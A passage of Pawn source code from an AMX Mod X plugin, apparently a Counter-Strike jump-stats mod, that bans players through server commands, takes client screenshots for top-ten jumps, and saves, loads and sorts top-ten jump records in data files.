			switch(uq_ban_authid)
			{
				case 0:
					server_cmd("amx_ban %s %d %s",ban_authid,uq_ban_minutes,szReason);
				case 1:
					server_cmd("amx_addban %s %d %s",ban_authid,uq_ban_minutes,szReason);
				case 2:
					server_cmd("amx_addban ^"%s^" %d %s",ban_authid,uq_ban_minutes,szReason);
			}
		}
		case 1:
		{
			if(uq_ban_authid==2)
				server_cmd("amx_ban %d ^"%s^" %s",uq_ban_minutes,ban_authid,szReason);
			else if(uq_ban_authid==1 && uq_ban_authid==0)
				server_cmd("amx_ban %d %s %s",uq_ban_minutes,ban_authid,szReason);
		}
	}
}
public ScreenShoot(id)
{
	id=id-15237;
	client_cmd(id,"snapshot");
}

public HamTouch( id, entity )
{
	if ( g_alive[id] )
	{
		static Float:Vvelocity[3];
		pev(id, pev_velocity, Vvelocity);
		if(!equali(mapname,"slide_gs_longjumps") && !equali(mapname,"b2j_slide_longjumps"))
		{
			if(g_Jumped[id] && !(pev(id, pev_flags)&FL_ONGROUND) && floatround(Vvelocity[2], floatround_floor) < 0)
			{
				touch_somthing[id]=true;
			}
		}
	}
}
public fwdTouch(ent, id)
{
	static ClassName[32];
	if( pev_valid(ent) )
	{
		pev(ent, pev_classname, ClassName, 31);
	}
	
	static ClassName2[32];
	if( valid_id(id) )
	{
		pev(id, pev_classname, ClassName2, 31);
	}
	if( equali(ClassName2, "player") )
	{
		if( equali(ClassName, "func_train")
			|| equali(ClassName, "func_conveyor") 
			|| equali(ClassName, "trigger_push") || equali(ClassName, "trigger_gravity"))
		{
			if(valid_id(id))
			{
				touch_ent[id]=true;
				trigger_protection[id]=true;
				JumpReset(id,41);
				set_task(0.4,"JumpReset1", id);
			}
		}
	}
}

////////////////////////////////////////Save Tops///////////////////////////////////
public save_tops(type[],type_num,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_ddbh[NTOP+1])
{
	new profile[128];
	formatex(profile, 127, "%s/Top10_%s.dat", ljsDir,type);
	
	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		TrieSetString(JumpStat, "name", tmp_names[i]);
		TrieSetString(JumpStat, "authid", tmp_ip[i]);
		TrieSetCell(JumpStat, "distance", tmp_distance[i]);
		TrieSetCell(JumpStat, "maxspeed", tmp_maxspeed[i]);
		TrieSetCell(JumpStat, "prestrafe", tmp_prestrafe[i]);
		TrieSetCell(JumpStat, "strafes", tmp_strafes[i]);
		TrieSetCell(JumpStat, "sync", tmp_sync[i]);
		
		if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
		{
			TrieSetCell(JumpStat, "ddbh", tmp_ddbh[i]);
			formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i],tmp_ddbh[i]);	
		}
		else formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i]);
		fputs(f, Data);
		
		new tmp_type[33];
		format(tmp_type, 32, "%s_%d_250", type, i);

		TrieSetCell(JData, tmp_type, JumpStat);
	}
	fclose(f);
}
public save_tops_block(type[],type_num,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1])
{
	new profile[128];
	formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block,type);
	
	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		TrieSetString(JumpStat, "name", tmp_names[i]);
		TrieSetString(JumpStat, "authid", tmp_ip[i]);
		TrieSetCell(JumpStat, "distance", tmp_distance[i]);
		TrieSetCell(JumpStat, "block", tmp_block[i]);
		TrieSetCell(JumpStat, "jumpoff", tmp_jumpoff[i]);
		
		new tmp_type[33];
		format(tmp_type, 32, "block_%s_%d_250", type, i);

		TrieSetCell(JData_Block, tmp_type, JumpStat);
		
		formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%f^"^n",tmp_names[i],tmp_ip[i],tmp_block[i],tmp_distance[i],tmp_jumpoff[i]);
		fputs(f, Data);
	}
	fclose(f);
}
public save_tops_block_weapon(type[],type_num,wpn_rank,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1],tmp_weap_name[NTOP+1][33])
{
	new profile[128];
	formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block_weapon[wpn_rank],type);
	
	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		TrieSetString(JumpStat, "name", tmp_names[i]);
		TrieSetString(JumpStat, "authid", tmp_ip[i]);
		TrieSetCell(JumpStat, "distance", tmp_distance[i]);
		TrieSetCell(JumpStat, "block", tmp_block[i]);
		TrieSetCell(JumpStat, "jumpoff", tmp_jumpoff[i]);
		TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
		TrieSetString(JumpStat, "wpn_name", tmp_weap_name[i]);
		
		new tmp_type[33];
		format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));

		TrieSetCell(JData_Block, tmp_type, JumpStat);
		
		formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%f^" ^"%s^"^n",tmp_names[i],tmp_ip[i],tmp_block[i],tmp_distance[i],tmp_jumpoff[i],tmp_weap_name[i]);
		fputs(f, Data);
	}
	fclose(f);
}
public save_tops_weapon(type[],type_num,wpn_rank,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_weap_name[NTOP+1][33])
{
	new profile[128];

	formatex(profile, 127, "%s/Top10_%s.dat",ljsDir_weapon[wpn_rank],type);

	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		TrieSetString(JumpStat, "name", tmp_names[i]);
		TrieSetString(JumpStat, "authid", tmp_ip[i]);
		TrieSetCell(JumpStat, "distance", tmp_distance[i]);
		TrieSetCell(JumpStat, "maxspeed", tmp_maxspeed[i]);
		TrieSetCell(JumpStat, "prestrafe", tmp_prestrafe[i]);
		TrieSetCell(JumpStat, "strafes", tmp_strafes[i]);
		TrieSetCell(JumpStat, "sync", tmp_sync[i]);
		TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
		TrieSetString(JumpStat, "wpn_name", tmp_weap_name[i]);
		
		new tmp_type[33];
		format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));

		TrieSetCell(JData, tmp_type, JumpStat);
		
		formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%s^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i],tmp_weap_name[i]);
		fputs(f, Data);
	}
	fclose(f);
}
public save_maptop()
{
	new profile[128];
	formatex(profile, 127, "%s/Top10_maptop.dat", ljsDir);
	
	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%s^"^n",map_names[i],map_ip[i], map_dist[i],map_maxsped[i],map_prestr[i],map_streif[i],map_syncc[i],map_type[i]);
		fputs(f, Data);
	}
	fclose(f);
}
////////////////////////////////////////Read Tops///////////////////////////////////
public read_tops(type[],type_num)
{
	new profile[128],prodata[256];
	formatex(profile, 127, "%s/Top10_%s.dat", ljsDir,type);
	
	new tmp_names[33],tmp_ip[33];

	new f = fopen(profile, "rt" );
	new i = 0;
	while( !feof(f) && i < (NTOP))
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		fgets(f, prodata, 255);
		new d[25], m[25], p[25], sf[25],s[25];
		new duk[25];
		
		if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
		{
			parse(prodata, tmp_names, 32, tmp_ip, 32,  d, 25, m, 25, p, 25, sf, 25,s, 25, duk, 25);	
		}
		else 
		{
			parse(prodata, tmp_names, 32, tmp_ip, 32,  d, 25, m, 25, p, 25, sf, 25,s, 25);	
		}
				
		TrieSetString(JumpStat, "name", tmp_names);
		TrieSetString(JumpStat, "authid", tmp_ip);
		TrieSetCell(JumpStat, "distance", str_to_num(d));
		TrieSetCell(JumpStat, "maxspeed", str_to_num(m));
		TrieSetCell(JumpStat, "prestrafe", str_to_num(p));
		TrieSetCell(JumpStat, "strafes", str_to_num(sf));
		TrieSetCell(JumpStat, "sync", str_to_num(s));
		
		if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
		{
			TrieSetCell(JumpStat, "ddbh", str_to_num(duk));
		}
		
		new tmp_type[33];
		format(tmp_type, 32, "%s_%d_250", type, i);

		TrieSetCell(JData, tmp_type, JumpStat);
		
		i++;
	}
	fclose(f);
}
public read_tops_block(type[],type_num)
{
	new profile[128],prodata[256];
	
	if(type_num==6)
	{
		formatex(profile, 127, "%s/block20_hj.dat", ljsDir_block);	
	}
	else formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block,type);
	
	new tmp_names[33],tmp_ip[33];
	
	new f = fopen(profile, "rt" );
	new i = 0;
	
	while( !feof(f) && i < (NTOP))
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		fgets(f, prodata, 255);
		new d[25], b[25], j[25];
		
		parse(prodata, tmp_names, 32, tmp_ip, 32,  b, 25, d, 25, j, 25);
		
		TrieSetString(JumpStat, "name", tmp_names);
		TrieSetString(JumpStat, "authid", tmp_ip);
		TrieSetCell(JumpStat, "block", str_to_num(b));
		TrieSetCell(JumpStat, "distance", str_to_num(d));
		TrieSetCell(JumpStat, "jumpoff", str_to_float(j));
		
		
		new tmp_type[33];
		if(type_num==6)
		{
			format(tmp_type, 32, "block_hj_%d_250", i);
		}
		else format(tmp_type, 32, "block_%s_%d_250", type, i);

		TrieSetCell(JData_Block, tmp_type, JumpStat);
		i++;
	}
	fclose(f);
}
public read_tops_block_weapon(type[],type_num,wpn_rank)
{
	new profile[128],prodata[256];
	
	if(type_num==9)
	{
		formatex(profile, 127, "%s/block20_hj.dat", ljsDir_block_weapon[wpn_rank]);	
	}
	else formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block_weapon[wpn_rank],type);
	
	new tmp_names[33],tmp_ip[33],tmp_weap_name[33];
	
	new f = fopen(profile, "rt" );
	new i = 0;
	
	while( !feof(f) && i < (NTOP))
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		fgets(f, prodata, 255);
		new d[25], b[25], j[25];
		
		parse(prodata, tmp_names, 32, tmp_ip, 32,  b, 25, d, 25, j, 25,tmp_weap_name,32);
		
		TrieSetString(JumpStat, "name", tmp_names);
		TrieSetString(JumpStat, "authid", tmp_ip);
		TrieSetCell(JumpStat, "block", str_to_num(b));
		TrieSetCell(JumpStat, "distance", str_to_num(d));
		TrieSetCell(JumpStat, "jumpoff", str_to_float(j));
		TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
		TrieSetString(JumpStat, "wpn_name", tmp_weap_name);
		
		new tmp_type[33];
		format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));

		TrieSetCell(JData_Block, tmp_type, JumpStat);
		i++;
	}
	fclose(f);
}
public read_tops_weapon(type[],type_num,wpn_rank)
{	
	new profile[128],prodata[256];

	formatex(profile, 127, "%s/Top10_%s.dat",ljsDir_weapon[wpn_rank],type);
	
	new f = fopen(profile, "rt" );
	new i = 0;
	new tmp_names[33],tmp_ip[33],tmp_weap_name[33];
	
	while( !feof(f) && i < (NTOP))
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		fgets(f, prodata, 255);
		new d[25], m[25], p[25], sf[25],s[25];
		
		parse(prodata, tmp_names, 32, tmp_ip, 32,  d, 25, m, 25, p, 25, sf, 25,s, 25,tmp_weap_name,32);
		
		TrieSetString(JumpStat, "name", tmp_names);
		TrieSetString(JumpStat, "authid", tmp_ip);
		TrieSetString(JumpStat, "wpn_name", tmp_weap_name);
		TrieSetCell(JumpStat, "distance", str_to_num(d));
		TrieSetCell(JumpStat, "maxspeed", str_to_num(m));
		TrieSetCell(JumpStat, "prestrafe", str_to_num(p));
		TrieSetCell(JumpStat, "strafes", str_to_num(sf));
		TrieSetCell(JumpStat, "sync", str_to_num(s));
		TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
		
		
		new tmp_type[33];
		format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
		
		TrieSetCell(JData, tmp_type, JumpStat);
		i++;
	}
	fclose(f);
}
////////////////////////////////////////Sort Tops///////////////////////////////////
public checktops1(id,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s) 
{	
	new d,m,p,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	m=floatround(mm*1000000);
	p=floatround(pp*1000000);
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}
	
	new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
	
		format(tmp_type, 32, "%s_%d_250", type, i);
		
		if(TrieKeyExists(JData, tmp_type))
		{	
			TrieGetCell(JData, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
			TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
			TrieGetCell(JS, "strafes", tmp_strafes[i]);
			TrieGetCell(JS, "sync", tmp_sync[i]);
			
		}
		//server_print("%s",tmp_ip[i]);
	}
	
	for (new i = 0; i < NTOP; i++)
	{
		if( d > tmp_distance[i] )
		{
			new pos = i;	
			while( !equali(tmp_ip[pos], rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_maxspeed[j] = tmp_maxspeed[j-1];
				tmp_prestrafe[j] = tmp_prestrafe[j-1];
				tmp_strafes[j] = tmp_strafes[j-1];
				tmp_sync[j] = tmp_sync[j-1];
			}
			
			formatex(tmp_ip[i], 32, rb);
			formatex(tmp_names[i], 32, g_playername[id]);
			tmp_distance[i]=d;
			tmp_maxspeed[i] = m;
			tmp_prestrafe[i] = p;
			tmp_strafes[i] = sf;
			tmp_sync[i] = s;
			
			new tmp_ddbh[NTOP+1];
			save_tops(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_ddbh);
			
			client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP1",prefix,g_playername[id],(i+1),type,dd);				
			
			if((i+1)<11 && uq_screen==1)
			{
				set_task(0.1,"ScreenShoot", id+15237);
			}
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
}

public checktops2(id,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s,duk) 
{	
	new d,m,p,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	m=floatround(mm*1000000);
	p=floatround(pp*1000000);
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}
	
	new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_ddbh[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
	
		format(tmp_type, 32, "%s_%d_250", type, i);
		
		if(TrieKeyExists(JData, tmp_type))
		{	
			TrieGetCell(JData, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
			TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
			TrieGetCell(JS, "strafes", tmp_strafes[i]);
			TrieGetCell(JS, "sync", tmp_sync[i]);
			TrieGetCell(JS, "ddbh", tmp_ddbh[i]);
		}
	}
	
	for (new i = 0; i < NTOP; i++)
	{
		if( d > tmp_distance[i] )
		{
			new pos = i;	
			while( !equali(tmp_ip[pos], rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_maxspeed[j] = tmp_maxspeed[j-1];
				tmp_prestrafe[j] = tmp_prestrafe[j-1];
				tmp_strafes[j] = tmp_strafes[j-1];
				tmp_sync[j] = tmp_sync[j-1];
				tmp_ddbh[j] = tmp_ddbh[j-1];
			}
			
			formatex(tmp_ip[i], 32, rb);
			formatex(tmp_names[i], 32, g_playername[id]);
			tmp_distance[i]=d;
			tmp_maxspeed[i] = m;
			tmp_prestrafe[i] = p;
			tmp_strafes[i] = sf;
			tmp_sync[i] = s;
			tmp_ddbh[i] = duk;
			
			save_tops(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_ddbh);
			
			client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP1",prefix,g_playername[id],(i+1),type,dd);				
			
			if((i+1)<11 && uq_screen==1)
			{
				set_task(0.1,"ScreenShoot", id+15237);
			}
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
}
public checktops_block(id,type[],type_num,Float:dd,Float:jj,bb) 
{	
	new d,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}
	
	new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
	
		format(tmp_type, 32, "block_%s_%d_250", type, i);
		
		if(TrieKeyExists(JData_Block, tmp_type))
		{	
			TrieGetCell(JData_Block, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "block", tmp_block[i]);
			TrieGetCell(JS, "jumpoff", tmp_jumpoff[i]);
		}
	}
	
	
	new tmp_dist;
	for (new j = 0; j < NTOP; j++)
	{	
		if(bb==tmp_block[j] && equali(tmp_ip[j],rb))
		{
			tmp_dist=tmp_distance[j];
			break;
		}
		else tmp_dist=0;
	}
	
	for (new i = 0; i < NTOP; i++)
	{
		if( bb >= tmp_block[i] && d>tmp_dist)
		{
			new pos = i;	
			while( !equali(tmp_ip[pos],rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_block[j] = tmp_block[j-1];
				tmp_jumpoff[j] = tmp_jumpoff[j-1];
			}
			
			formatex(tmp_ip[i], 32, rb);
			formatex(tmp_names[i], 32, g_playername[id]);
			tmp_distance[i]=d;
			tmp_block[i] = bb;
			tmp_jumpoff[i] = jj;
			
			
			new oldBlock,start_array;
			oldBlock=tmp_block[0];
			start_array=0;
			
			for (new ii = 0; ii < NTOP; ii++)
			{
				if(tmp_block[ii]!=oldBlock)
				{
					new bool:check=true;
					while(check)
					{
						check=false;
						for(new jjj=start_array;jjj<ii-1;jjj++)
						{
							if(tmp_distance[jjj]<tmp_distance[jjj+1])
							{
								new buf1;
								buf1=tmp_distance[jjj];
								tmp_distance[jjj]=tmp_distance[jjj+1];
								tmp_distance[jjj+1]=buf1;
								
								new Float:buf2;
								buf2=tmp_jumpoff[jjj];
								tmp_jumpoff[jjj]=tmp_jumpoff[jjj+1];
								tmp_jumpoff[jjj+1]=buf2;
								
								new buf3[33];
								formatex(buf3,32,tmp_names[jjj]);
								formatex(tmp_names[jjj],32,tmp_names[jjj+1]);
								formatex(tmp_names[jjj+1],32,buf3);
								
								formatex(buf3,32,tmp_ip[jjj]);
								formatex(tmp_ip[jjj],32,tmp_ip[jjj+1]);
								formatex(tmp_ip[jjj+1],32,buf3);
								
								check=true;
							}
						}
					}
					start_array=ii;
				}
				oldBlock=tmp_block[ii];
			}
			
			save_tops_block(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_block,tmp_jumpoff);
			
			for (new j = 0; j < NTOP; j++)
			{	
				if(d==tmp_distance[j] && equali(tmp_ip[j],rb))
				{
					client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP2",prefix,g_playername[id],(j+1),type,bb);				
				}
			}
			if((i+1)<11 && uq_screen==1)
			{
				set_task(0.1,"ScreenShoot", id+15237);
			}
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
}
public checktops_block_weapon(id,pev_max_speed,wpn_rank,type[],type_num,Float:dd,Float:jj,bb,wpn_name[]) 
{	
	new d,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}
	
	new tmp_weap_name[NTOP+1][33],tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
	
		format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
		
		if(TrieKeyExists(JData_Block, tmp_type))
		{	
			TrieGetCell(JData_Block, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "block", tmp_block[i]);
			TrieGetCell(JS, "jumpoff", tmp_jumpoff[i]);
			TrieGetString(JS, "wpn_name", tmp_weap_name[i],32);
		}
	}
	
	new tmp_dist;
	for (new j = 0; j < NTOP; j++)
	{	
		if(bb==tmp_block[j] && equali(tmp_ip[j],rb))
		{
			tmp_dist=tmp_distance[j];
			break;
		}
		else tmp_dist=0;
	}
	
	for (new i = 0; i < NTOP; i++)
	{
		if( bb >= tmp_block[i] && d>tmp_dist)
		{
			new pos = i;	
			while( !equali(tmp_ip[pos],rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				formatex(tmp_weap_name[j], 32, tmp_weap_name[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_block[j] = tmp_block[j-1];
				tmp_jumpoff[j] = tmp_jumpoff[j-1];
			}
			
			formatex(tmp_ip[i], 32, rb);
			formatex(tmp_names[i], 32, g_playername[id]);
			formatex(tmp_weap_name[i], 32, wpn_name);
			tmp_distance[i]=d;
			tmp_block[i] = bb;
			tmp_jumpoff[i] = jj;
			
			
			new oldBlock,start_array;
			oldBlock=tmp_block[0];
			start_array=0;
			
			for (new ii = 0; ii < NTOP; ii++)
			{
				if(tmp_block[ii]!=oldBlock)
				{
					new bool:check=true;
					while(check)
					{
						check=false;
						for(new jjj=start_array;jjj<ii-1;jjj++)
						{
							if(tmp_distance[jjj]<tmp_distance[jjj+1])
							{
								new buf1;
								buf1=tmp_distance[jjj];
								tmp_distance[jjj]=tmp_distance[jjj+1];
								tmp_distance[jjj+1]=buf1;
								
								new Float:buf2;
								buf2=tmp_jumpoff[jjj];
								tmp_jumpoff[jjj]=tmp_jumpoff[jjj+1];
								tmp_jumpoff[jjj+1]=buf2;
								
								new buf3[33];
								formatex(buf3,32,tmp_names[jjj]);
								formatex(tmp_names[jjj],32,tmp_names[jjj+1]);
								formatex(tmp_names[jjj+1],32,buf3);
								
								formatex(buf3,32,tmp_ip[jjj]);
								formatex(tmp_ip[jjj],32,tmp_ip[jjj+1]);
								formatex(tmp_ip[jjj+1],32,buf3);
								
								formatex(buf3,32,tmp_weap_name[jjj]);
								formatex(tmp_weap_name[jjj],32,tmp_weap_name[jjj+1]);
								formatex(tmp_weap_name[jjj+1],32,buf3);
								
								check=true;
							}
						}
					}
					start_array=ii;
				}
				oldBlock=tmp_block[ii];
			}
			
			save_tops_block_weapon(type,type_num,wpn_rank,tmp_names,tmp_ip,tmp_distance,tmp_block,tmp_jumpoff,tmp_weap_name);
			
			for (new j = 0; j < NTOP; j++)
			{	
				if(d==tmp_distance[j] && equali(tmp_ip[j],rb))
				{
					client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP3",prefix,g_playername[id],(j+1),type,pev_max_speed,bb);				
				}
			}
			if((i+1)<11 && uq_screen==1)
			{
				set_task(0.1,"ScreenShoot", id+15237);
			}
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
}
public checktops_weapon(id,pev_max_speed,wpn_rank,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s,wpn_name[]) 
{	
	new d,m,p,rb[64];
	
	d=floatround(dd*1000000);
	m=floatround(mm*1000000);
	p=floatround(pp*1000000);
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}

	new tmp_weap_name[NTOP+1][33],tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_wpnrank[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
		format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
		
		if(TrieKeyExists(JData, tmp_type))
		{	
			TrieGetCell(JData, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
			TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
			TrieGetCell(JS, "strafes", tmp_strafes[i]);
			TrieGetCell(JS, "sync", tmp_sync[i]);
			TrieGetCell(JS, "pspeed", tmp_wpnrank[i]);
			TrieGetString(JS, "wpn_name", tmp_weap_name[i],32);
		}

		if( d > tmp_distance[i] )
		{
			new pos = i;

			while( !equali(tmp_ip[pos],rb) && pos < NTOP )	pos++;
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				formatex(tmp_weap_name[j], 32, tmp_weap_name[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_maxspeed[j] = tmp_maxspeed[j-1];
				tmp_prestrafe[j] = tmp_prestrafe[j-1];
				tmp_strafes[j] = tmp_strafes[j-1];
				tmp_sync[j] = tmp_sync[j-1];
			}
			formatex(tmp_ip[i], 32, rb);
